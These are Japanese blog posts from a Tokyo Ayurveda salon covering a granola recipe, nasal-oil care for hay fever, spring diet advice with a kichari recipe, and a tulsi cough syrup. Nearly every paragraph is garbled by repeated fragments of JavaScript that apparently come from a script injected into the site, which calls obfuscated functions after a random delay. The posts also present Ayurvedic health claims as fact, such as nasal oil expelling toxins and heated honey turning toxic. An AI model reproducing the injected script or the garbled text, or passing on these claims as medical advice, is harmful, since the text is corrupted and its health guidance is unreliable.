アーユルヴェーダ的 手作りグラノーラ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
ずっと作ってみたかったグラノーラを
アーユルヴェーダテイストを織り込んで作ってみました

ベースとしたのは、下記のレシピ。
 [emoji:e-141]『アメリカの手作りグラノーラ』andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
まず、用意するのは
グラノーラのベースであるオートミールandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
オーガニックでとってもお買い得なのを発見しました。

nk-Organic オーガニック・オートミール 1.5Kg

nk-Organic オーガニック・オートミール 1.5Kg
価格:880円(税込、送料別)

これに、ナッツやドライフルーツを加えるわけですが、
アーユルヴェーダ的におすすめの
生アーモンドandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}デーツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}は大量に用意します

2014-04-25 1s
生アーモンドはコストコで買ったもの、
デーツはオートミールと同じお店で購入しました。
 nk-Organicオーガニック・デーツ(種抜きなつめやし) 1Kg
さらに、いろんなナッツやドライフルーツを入れたいけれど
全部そろえていると結構お高くつくので、
今回は、こんなものを使ってみました
2014-04-25 22
これは、外国のスナックなんですけど、
ナッツとドライフルーツをミックスしたお菓子なんです。
・ドライローストしたアーモンド
・ドライローストしたカボチャの種
・ヒマワリの種
・レーズン
・クランベリー
・ワイルドブルーベリー
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

が入っているので、これを混ぜるだけで具はバッチリですよ。
しかもオーガニック。賢いワタシ。
2014-04-25 2
袋から出すと、こんな感じ。1袋113gだそうです。
アーモンドだけざっくり刻みました。
このままだとナッツがアーモンドばかりになってしまうので
もう一個ぐらい、クルミとかカシューナッツとか
入れると良いかなあと思い、今回はカシューナッツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}を用意。
2014-04-25 3
こちらは、無塩のものをインド食材店で調達。
製菓用とかでも良いですね。
こちらも、ざっくり刻みます。
さらに、ベリーミックスと同じお店に売っていた
トロピカルフルーツのドライフルーツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
買ってみました。(笑)
2014-04-25 5
では、いよいよ作り方です。


【作り方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.オーブンを120℃に温め始める
2.大きいボールにオートミールを3カップ入れる
3.ワイルドベリーミックス1袋分の刻んだアーモンドと
  その他のナッツ&フルーツ、
  1/2~1カップ分ぐらいのカシューナッツ等を加える
  (本来、ドライフルーツは後混ぜのレシピも多いけど
   ミックスで分けづらいので一緒でOK)
4.ブラウンシュガー(うちは甜菜糖)を大さじ2、
  メープルシロップを大さじ4、
  グレープシードオイル(サラダ油でも)を大さじ2入れて
  よーく混ぜる
5.天板にオーブンシートを広めにひき、混ぜたものを入れる
6.温まったオーブンに入れ、1時間乾燥させていくandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

  乾燥させることでカパを増やさないようになります
7.ポイントは、焦がさないように15分ごとに混ぜて
  全体を乾燥させるようにすること
8.その間に、生アーモンドとデーツをざっくり刻む
  合わせて1カップぐらいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

  生アーモンドは本来、皮は消化に重いので剥くのが
    おすすめですが、ピッタ(消化力)が高い私はそのまま使っちゃう

9.ボールに生アーモンド、デーツを入れ、
  他のドライフルーツがあれば加える
  (今回は、トロピカルフルーツダイス)
10.そして試しに、ここにチャイ用のマサラミックススパイスを
  小さじ1ほど入れてみました
  (シナモンだけを少し入れたりしてもいいかも)
10.焼き終わったオートミールたちを
  ボールに入れてよーく混ぜて出来上がり
11.よーく冷ましてから密閉容器にうつすandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


こうして出来たのがこちら
2014-04-25 6
完全に売り物っぽい感じです
今日の朝、豆乳と蜂蜜をかけていただきましたが
チャイ風味も本当にバッチリはまっていて
最高に美味しかったです
アーユルヴェーダでは、
はちみつもとてもパワーのある食べ物。
ただ、加熱すると毒素になってしまうので、
食べるときに加えるのがポイント。

蜂蜜はカパを減らし脂肪を削り取ると言われます
さらに、牛乳と酸味を一緒にとってはいけないので
ドライフルーツにやや酸味のあるものがあったことで
豆乳で食べることにしました。

豆乳は大豆と考えると渋味があるので
  カパやピッタは下げますがヴァータは上げます

そして、生アーモンドやデーツなどを始め、
とてもエネルギーの強い食物がたくさん入っているので
食べ過ぎないようにする方が良いでしょう。

グラノーラ全体を考えるとカパの高い人には良いですが
ヴァータが高い人は食べ過ぎない方が良さそうな食べ物かな。
私は、ピッタカパなのでピッタリではあるんですけど
ちょっと量を食べすぎました。(笑)
普通のシリアル感覚で盛ったらダメですねー
ちなみに、ベリーミックス等を購入したのは下記のサイト。
iHerb-logo-jp.png
オーガニック食材もそうなんですけど、
アーユルヴェーダ製品の超大手ヒマラヤブランドの
サプリなども取り扱っているandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ので
最近、良く購入しております。うふふ。
個人輸入なのに送料は4ドル程度だし、
初回限定クーポンコード『KLL178』andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
を使うと割引になるのでお試しあれ~
アーユルヴェーダサロンmanas 《マナス》

私の花粉症対策

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
前回、春のカパ対策についてお話しましたが、
もう一つ、春におすすめ…というか、
春に備えてやった方が良いものがあるのでご紹介します。
それが、「ナスヤ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
以前にも、そのやり方はかいたので詳細はこちらを。
『自分で出来る浄化法「ナスヤ」』
2013-04-15s.jpgandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

このナスヤ、鼻にオイルを入れて口から吐き出すことで、
鎖骨から上の毒素を排泄するというもの。
花粉症の原因となる過剰なカパを、これで出すことができます。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
鼻炎など、鼻に問題がある人には全般的におすすめです。

鼻に入れるオイルは、アヌタイラと言うナスヤ用のオイルが最高andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ですが、
太白ごま油でも大丈夫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
ほんの2滴程度を鼻に入れて、しっかり吸ってください。
前に、症状が悪いので、効くようにたくさん入れたいから、
どのくらいまで入れていいか、と言う質問を受けたのですが、
アーユルヴェーダ医師の元でやる以外は、絶対に大量に入れてはいけませんandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
反応が激しくなって、どんな変化が起こるか分からないですし、
良いと思ったことが、悪い結果を生むかもしれません。
セルフケアは、あくまでセルフケアとして、
長く続けることで少しずつ改善を目指しましょう。
また、ナスヤまで出来ない方は、
鼻孔にオイルを塗るだけでもOKなので、お試しください。

指にオイルを取って、鼻の内側に塗るだけ。
オイルは、粘膜から吸収されます。
余談ですが、ヴァータ(風)が乱れやすい方などは、
耳の中にオイルを塗るandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
と落ち着きます。
不安や心配が多い、音がやたらと気になる、
夜の寝つきが悪い、などはヴァータ乱れの現れです。
塗るだけでなく、丸めたコットンにオイルを含ませたもので耳栓をし、
音もさえぎると、より効果が上がるでしょう。

さて、そんなナスヤを、ちょいちょいさぼりながらも
自分史上としては、一番がんばってやってきたつもりの一年。
さて、花粉症は少しは軽くなってくれてるでしょうか?
ドキドキ・・・
はあ、こうして時期が来て初めて、
ちゃんと毎日やればよかったなーって思うんですよねー
ダメですよねー(笑)
でも、またちゃんと頑張ろうと思ってアヌタイラ買いました
やろうと言う気持ちですよ気合ですよ大事なのは
実際に効果が望めるのは、カパを溜めないように
冬の間からの対策することが大切ですが、今からでも
肉類や乳製品を減らして、春の苦みや渋みのある野菜をとったり
体も冷やさない、食べるものも冷やすものを避ける、など
できることはやると良いですね。
特に、髪の毛を洗った後、ちゃんと乾かさないのは冷えて
カパを溜める一因となります。要注意[emoji:e-2] アーユルヴェーダサロンmanas 《マナス》

春はカパの溶け出す季節

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
まだ寒い日は続いていますが、もうすぐ春がやってきます。
アーユルヴェーダ的には、春はカパと言うエネルギーが
外に溶け出してくる季節なのです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

「カパ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}というのは、主に水の力なので粘膜やむくみなど
体の水分と関わるところに影響が出ます。
例えば春の花粉症なども、その一つです。
そんなカパ対策は、冬のうちからやっておくと重くならないのですが
今からでも遅くない!と言うことで、
春のカパ対策をご紹介します。
1.絹で体を摩擦する「乾布摩擦」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダでは、絹ガルシャナと言われる方法で、
絹の手袋で体をこすって、熱を与えて脈管を開くもの。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
カパは、重くてねっとりしているものなので、乾燥を与えて軽くし、
また冷えの性質を持っているので、逆の熱を加えることで鎮静できるわけです。
自分で体をこする時は、そんなにルールにこだわることもありません。
大事なポイントは2つ。
・こする向きは下から上!毛並みに逆らうようにする(関節は丸く)
・摩擦で温かさを感じるように、しっかりこする!

皮膚が弱い方や、傷や湿疹などがある方はやらないでください。
2.食事は軽く、消化のいいものをandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
食事の量が多かったり、消化に重いものを食べていると
カパが増えてしまいます。
今はカパを減らしたい時期ですので、消化力をあげる(下げないような)
食事を心がけましょう。
以前、このブログでも紹介した、インドのお粥「キチュリ」はおすすめです。
先日、安藤るみ子先生のスクールの講義でも
お料理上手な三木まり子先生に教えてもらって作りました
【キチュリの作り方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.お米とムング豆を洗ってざるにあげる
  ※ムング豆は緑豆ですが、緑の皮の部分は消化に重いため、
   皮をむいて半割にしてあるものが良いです↓

   idsp298.jpg
  イエロームングダールは、唯一、軽性の豆。
  通常、豆類は消化に重いのです。
2.ここでお粥を炊いても良いのですが、
  より軽くするために、豆と米をそれぞれ弱火で乾煎りします。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
  はい、ここポイント
  これこそ春だからこそ、やるべきひと手間
  水分を飛ばして、できるだけ軽性にします。
3.そしたら、豆とお米にお水とターメリックを加えて炊くだけ。
  今回は、季節の食べ物としてアスパラと
  ピッタ(=消化力)をあげるにんじんも投入して煮ました。
4.スパイスの香りを移したオイルを別の鍋で作る
  今回はマスタードオイルを熱したところにクミンを入れ、
  さらに、ヒーングandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}↓と言う独特のスパイスを入れました。
  fd_sps_7.jpg
  ヒーングandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}は、植物の樹液を粉にしたもので
  たいていの人は臭い!といいます。(笑)
  強烈な温泉と言うか、硫黄の匂いがするんですねー
  でも、油と使うと、すっごく美味しくなる不思議なスパイスなので
  勇気のある方はお試しください。私は大好きなんですけどね。
  オイルもギーは〇、サラダオイルでも何とかなるような気がします。
  ちなみに、マッサージに使うごま油は消化には重いので
  食べるには、おすすめされていませんので要注意。
4.お粥に、香りづけしたオイルを入れて混ぜたら出来上がり
  2014-03-05s.jpg
  今回は、旬のいんげんと新じゃがのスパイス炒めと
  先生お手製のデーツで色付けした大根の浅漬けなどと
  一緒にいただきました。
アーユルヴェーダでは、
・旬のものをいただく
・地産地消
・彩りなど見た目の美しさ

も食べることの大事な要素として考えられているので
その点もしっかり押さえたランチでした。
最近、食べ過ぎている私も話を聞いて反省しかり。
ガルシャナしよう
アーユルヴェーダサロンmanas 《マナス》

トゥルシーの咳止めシロップ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
先日、通っているアーユルヴェーダの講座で
トゥルシーと言うハーブを使った咳止めandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}の作り方を教わりました。
実は先月、咳が出て、喉がガラガラだった私にまさにピッタリ。
その日、トゥルシーを分けていただいたので家でも作ってみました
こちらが、トゥルシー。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
意味は「比類なき」…言ってしまえば、万能なハーブです。
20131114 07s
トゥルシーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}とは…
古来より、アーユルヴェーダの賢人達によって、
インド全土に広められた“ハーブの女王”andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
欧米ではそのパワーから
「ホーリーバジル」=聖なるバジルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と呼ばれています。
インドでは、『トゥルシーの葉を、毎日食べれば医者が要らない』と言う
ことわざがあるくらい、5000年以上も前から、
毎朝、聖水をかけ崇められ、神様にお供えされているそうです。
生でも食べられて、味はバジルっぽいけど、クセがなくて爽やか。
香りも素晴らしく、それだけでも癒されます

20131114 56s
奥にあるのは、すでにつぶして絞った「しょうが汁」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
すりおろすのではなく、つぶして絞ります。
葉っぱも、同じようにつぶします。乳鉢がないのですり鉢で。
20131114 13s
さらしで絞ってみると、意外に汁がとれます。
20131114 59s
この状態でも、全然飲めるんですけど、
お子さんとかには、ちょっと苦いかも知れないので、
氷砂糖を溶かしたシロップと合わせます。
そこへ、先に絞っておいたしょうが汁andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}も加えて完成
20131115 51s
ワタクシ、これを寝る前とかにスプーン一杯ぐらいずつ
グイッと飲んで満足していたのですが、それは間違いでした。(笑)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

喉の炎症を取ってくれるのですから、咳が出るときとかにその都度
ちょっとずつ舐めて、喉を通るようにとるのが良いそうです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

実は、この素晴らしいトゥルシーの種を分けていただいたので
来年は、私も蒔いてみようと思ってます
マナスでは、このトゥルシーを乾燥させたトゥルシーティーを
施術後にお選びいただくお茶としてご用意しています。
1つは、トゥルシーと脳に良いつぼ草をミックスしたもの、
もう1つは、トゥルシーとショウガのミックスです。
どちらも、とても美味しいので、ぜひご来店の際にお試しください

andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

アーユルヴェーダサロンmanas 《マナス》

インドの歯磨き粉レポ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
まだまだ暑い日が続いていますね。
私もちょっと忙しかった時期を超えて、
生活を整えつつ、心身ともにリセット中です。
以前に、アーユルヴェーダっぽい
インドのドラッグストアクオリティのヘアオイルを
ご紹介したのですが
こちら)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
その時、おまけでついていたのがこの歯磨き粉andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}でした。
20130512 081823s
すぐにレポしたかったのですが、残念がら
実は歯磨き粉を買い替えたばかりだったために
すぐに試してみることができず、
この残暑に晴れて開封されたのでした。(笑)
20130908 05s
